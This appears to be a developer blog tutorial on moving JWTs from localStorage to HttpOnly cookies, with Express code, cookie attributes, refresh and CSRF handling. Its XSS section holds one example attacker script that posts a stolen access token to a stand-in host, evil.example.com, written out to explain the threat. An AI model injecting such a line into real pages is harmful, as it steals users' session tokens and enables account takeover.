JWT in localStorage Is Leaking — How to Move It to HttpOnly Cookies
Your login flow works, your JWT is stored in localStorage, and everything seems fine. Then someone drops a malicious ad script or a vulnerable npm package into your dependency tree, and every token on your site walks out the door. This is not a theoretical risk — it is the most common authentication failure pattern in modern SPAs.
What You'll Learn
- Why
localStorageexposes JWTs to any JavaScript running on the page - What makes HttpOnly cookies resistant to XSS token theft
- How to set the right cookie attributes (
HttpOnly,Secure,SameSite) - How to update your server and frontend to use cookie-based auth
- How to handle CSRF, the tradeoff you pick up when you drop
localStorage
Why localStorage Is a Problem for JWTs
localStorage is accessible to any JavaScript running in the same origin. That sounds acceptable until you realize "the same origin" includes every third-party script you load — analytics, chat widgets, A/B testing tools, and the dozens of transitive npm dependencies in your bundle. Any of them can read localStorage.getItem('token') in a single line.
The attack surface is wider than most developers expect. You do not need to write vulnerable code yourself. One compromised CDN, one malicious package update, or one stored XSS in a user-generated field is enough. The token is there, readable, and can be exfiltrated to an external server in a single fetch call.
How XSS Turns localStorage Into an Open Vault
Cross-site scripting (XSS) lets an attacker run arbitrary JavaScript in your user's browser. When that happens and your JWT lives in localStorage, the attacker's script can do this:
// Attacker's injected script
fetch('https://evil.example.com/collect', {
method: 'POST',
body: JSON.stringify({ token: localStorage.getItem('access_token') })
});
The token is now on the attacker's server. They can impersonate your user for the token's entire lifetime — potentially hours or days if your expiry is generous. The user has no way to know, and your server has no way to distinguish the legitimate session from the stolen one.
This is not a hypothetical. Supply chain attacks through npm and CDN compromises have exposed exactly this pattern in production applications. If your product handles anything sensitive, the risk is not theoretical.
What HttpOnly Cookies Actually Protect Against
An HttpOnly cookie is a cookie the browser refuses to expose to JavaScript. You cannot read it with document.cookie, you cannot read it with localStorage, and no script on the page can touch it at all. The browser sends it automatically with matching requests, but it is invisible to the JavaScript runtime.
This one property breaks the XSS token-theft attack completely. Even if an attacker injects script onto your page, document.cookie will not show the token, and there is no other API to reach it. The stolen-token category of attack disappears.
It is worth being precise about what HttpOnly cookies do not protect against. They do not prevent XSS from taking other harmful actions on behalf of the user — submitting forms, making authenticated API calls from within the same browser session, or reading visible page content. Defending against XSS itself is still important. HttpOnly cookies simply remove one of the worst consequences: persistent credential theft.
Understanding the Cookie Attributes That Matter
Setting HttpOnly alone is not enough. Three attributes work together to make the cookie secure in practice.
HttpOnly
Prevents JavaScript from reading the cookie. Always set this on any authentication cookie. There is no legitimate reason for your frontend JavaScript to read the raw JWT.
Secure
Instructs the browser to send the cookie only over HTTPS connections. Without this, the cookie travels in plaintext over HTTP, which is a different but equally serious problem. Set Secure on every auth cookie in production. For local development over http://localhost, most browsers make a special exception and will still send the cookie.
SameSite
Controls when the browser sends the cookie in cross-origin requests. The three values are:
- Strict — Cookie is never sent on cross-site requests, including navigating to your site from an external link. Maximally secure, but breaks some flows like clicking an email link into your app.
- Lax — Cookie is sent on top-level navigations (a user clicking a link to your site) but not on sub-resource requests like
fetchorXMLHttpRequestfrom other origins. This is the recommended default for most applications. - None — Cookie is sent on all cross-site requests. Requires
Secureto be set, and should only be used when your API and frontend are on genuinely different origins and you have a CSRF mitigation in place.
For most SPAs where the API and frontend share the same domain or subdomain, SameSite=Lax with Secure and HttpOnly is the right starting point.
Moving Your JWT to an HttpOnly Cookie: Server Side
The change starts on your server. Instead of returning the token in the response body for the client to store, you write it directly into a Set-Cookie header. Here is what that looks like in an Express.js handler:
// POST /auth/login
app.post('/auth/login', async (req, res) => {
const { email, password } = req.body;
const user = await verifyCredentials(email, password);
if (!user) {
return res.status(401).json({ error: 'Invalid credentials' });
}
const token = generateJWT(user); // your existing JWT logic
res.cookie('access_token', token, {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'lax',
maxAge: 15 * 60 * 1000, // 15 minutes in milliseconds
path: '/'
});
// Return user info but NOT the token
return res.json({ user: { id: user.id, email: user.email } });
});
Notice that the response body no longer contains the token. The client receives the user object it needs to render the UI, and the browser handles the cookie automatically from that point forward.
Your protected route middleware also changes. Instead of reading the Authorization: Bearer header, you read the cookie:
// Middleware: read token from cookie instead of Authorization header
function authenticate(req, res, next) {
const token = req.cookies.access_token; // requires cookie-parser middleware
if (!token) {
return res.status(401).json({ error: 'Not authenticated' });
}
try {
req.user = verifyJWT(token);
next();
} catch (err) {
return res.status(401).json({ error: 'Token invalid or expired' });
}
}
You will need the cookie-parser package installed and wired in before this middleware runs. On Python/Django or other stacks, the pattern is the same: read from the cookie jar rather than the header.
Updating Your Frontend to Work Without the Token
The biggest mental shift here is accepting that your frontend JavaScript will never see the raw token. That is the whole point. Your UI does not need it. The browser will attach the cookie automatically to every request that matches the cookie's domain and path.
The key change in your fetch calls is adding credentials: 'include'. Without this option, the browser will not send cookies on cross-origin requests:
// Before: manually attaching the token from localStorage
const res = await fetch('/api/profile', {
headers: {
Authorization: `Bearer ${localStorage.getItem('access_token')}`
}
});
// After: browser attaches the HttpOnly cookie automatically
const res = await fetch('/api/profile', {
credentials: 'include' // required for cross-origin; 'same-origin' is the default
});
If your API lives on the same origin as your frontend, the default credentials: 'same-origin' works fine and you may not even need to change anything. Cross-origin setups (e.g., your API is at api.example.com and your app is at app.example.com) require credentials: 'include' and a correctly configured CORS policy on the server.
When debugging cross-origin authentication issues, the principles described in debugging CORS errors that only appear in production apply directly — particularly around the interaction between Access-Control-Allow-Origin and Access-Control-Allow-Credentials.
Handling Token Refresh Securely
Short-lived access tokens are standard practice, and moving to cookies does not change that. What changes is how you manage refresh tokens. The good news is that refresh tokens are actually more secure in HttpOnly cookies than they ever were in localStorage.
The typical pattern is to set two cookies at login: a short-lived access token cookie (15 minutes is common) and a longer-lived refresh token cookie (7 days, for example). The refresh endpoint checks the refresh token cookie, validates it against a server-side store, and issues a new access token cookie:
// POST /auth/refresh
app.post('/auth/refresh', async (req, res) => {
const refreshToken = req.cookies.refresh_token;
if (!refreshToken) {
return res.status(401).json({ error: 'No refresh token' });
}
const isValid = await validateRefreshToken(refreshToken); // check against DB
if (!isValid) {
return res.status(401).json({ error: 'Refresh token invalid or revoked' });
}
const user = decodeRefreshToken(refreshToken);
const newAccessToken = generateJWT(user);
res.cookie('access_token', newAccessToken, {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'lax',
maxAge: 15 * 60 * 1000,
path: '/'
});
return res.json({ ok: true });
});
Your frontend calls /auth/refresh when it receives a 401 from the API, then retries the original request. The refresh token itself never touches JavaScript — it stays in its HttpOnly cookie the entire time.
CSRF: The Tradeoff You Need to Manage
Cookies introduce a new concern: cross-site request forgery (CSRF). Because the browser sends cookies automatically, an attacker on a different origin can potentially trick a user's browser into making authenticated requests to your API.
With SameSite=Lax or SameSite=Strict, modern browsers already block most CSRF vectors — the cookie will not be sent on cross-site POST requests originating from another domain. For the majority of applications, this is sufficient protection when combined with proper SameSite configuration.
If you need additional defense-in-depth (for older browser compatibility or more complex cross-origin setups), a double-submit CSRF token pattern works well with HttpOnly JWTs. The server sets a separate, readable CSRF token in a non-HttpOnly cookie. The frontend reads it and sends it back in a custom header. The server validates that the header value matches the cookie value. Attackers on other origins cannot read the cookie value to forge the header.
The important point is that CSRF is a manageable, well-understood problem with established solutions. XSS-based token theft from localStorage is harder to contain because it requires your entire dependency graph to be trustworthy forever.
Common Pitfalls When Making the Switch
Forgetting to clear localStorage on migration. If you have existing users with tokens in localStorage, those tokens sit there until the storage is cleared. On your next deployment, add logic to clear the old token from localStorage at app startup so legacy entries do not persist.
// Run once at app startup during the migration period
localStorage.removeItem('access_token');
localStorage.removeItem('refresh_token');
Cookie not sent due to missing credentials option. This is the number-one debugging issue. If your API is on a different origin, every fetch and XMLHttpRequest call needs credentials: 'include'. Without it, the browser silently omits the cookie. If you are using axios, set withCredentials: true globally or per request.
CORS blocking credentialed requests. When credentials: 'include' is set, the server's CORS configuration must respond with Access-Control-Allow-Credentials: true and a specific origin (not the wildcard *). The wildcard is rejected by the browser for credentialed requests.
Setting maxAge vs expires incorrectly. Use maxAge in seconds (or milliseconds depending on your framework) for a relative expiry. Using an absolute expires date requires your server clock to be accurate. maxAge is simpler and less error-prone.
Subdomain scoping issues. If you want a cookie set on api.example.com to be sent from app.example.com, set the cookie's domain attribute to .example.com (note the leading dot). Without this, the cookie is scoped to the exact domain that set it. Be deliberate about this — broad domain scoping means a compromise on any subdomain affects all others.
These kinds of environment-specific issues are similar in nature to the request problems described in fetch requests hanging indefinitely when the server never responds — the symptoms appear on the frontend, but the fix is on the server or in the request configuration.
Wrapping Up: Next Steps
Moving JWTs out of localStorage is one of the highest-value security improvements you can make to a frontend authentication system. The attack surface reduction is concrete, and the implementation is straightforward once you understand the cookie attributes involved.
Here are the concrete steps to take from here:
- Audit your current setup. Open DevTools, check Application → Local Storage, and confirm whether any JWTs or refresh tokens are sitting there right now.
- Update your login and refresh endpoints to set
Set-Cookieheaders withHttpOnly,Secure, andSameSite=Laxinstead of returning tokens in the response body. - Update your API middleware to read tokens from
req.cookiesrather than theAuthorizationheader. Keep the header fallback during a transition period if needed. - Update your frontend fetch calls to use
credentials: 'include'(or'same-origin'for same-domain setups) and remove any code that reads tokens from storage. - Add a migration cleanup that removes old tokens from
localStorageon first load, so existing sessions do not carry over stale storage entries.
Authentication security is not a one-time fix. Once you have the cookie storage in place, review your Content Security Policy to reduce the blast radius of any XSS that does slip through — that is the next layer of defense worth your time.
Frequently Asked Questions
Why is storing a JWT in localStorage considered insecure?
Any JavaScript running on your page can read localStorage, including third-party scripts, injected ads, or malicious code from a compromised npm package. If an attacker can run JavaScript on your site through XSS, they can steal the token and use it to impersonate your user from a different machine entirely.
Does moving a JWT to an HttpOnly cookie prevent all XSS attacks?
No, it only prevents XSS from stealing your token for persistent impersonation. An XSS attack can still make authenticated requests within the same browser session while the user is logged in. HttpOnly cookies remove one severe consequence of XSS but do not eliminate the need to prevent XSS itself.
Do I need to add CSRF protection when using HttpOnly cookies for JWTs?
With SameSite=Lax or SameSite=Strict, modern browsers block the most common CSRF vectors automatically, so many applications need no additional CSRF handling. For older browser support or complex cross-origin setups, a double-submit cookie pattern adds a solid extra layer of protection.
How do I log a user out when their token is in an HttpOnly cookie?
Your server provides a logout endpoint that clears the cookie by overwriting it with an empty value and a maxAge of zero, or a past expiry date. The client calls this endpoint on logout, and the browser removes the cookie. You cannot clear it from JavaScript directly, which is by design.
Can I use HttpOnly cookies for authentication when my API and frontend are on different domains?
Yes, but you need SameSite=None and Secure on the cookie, and your server's CORS configuration must include Access-Control-Allow-Credentials: true with a specific allowed origin rather than a wildcard. Your frontend fetch calls also need credentials: 'include' set explicitly.
📤 Share this article
Sign in to saveRelated Articles
Comments (0)
No comments yet. Be the first!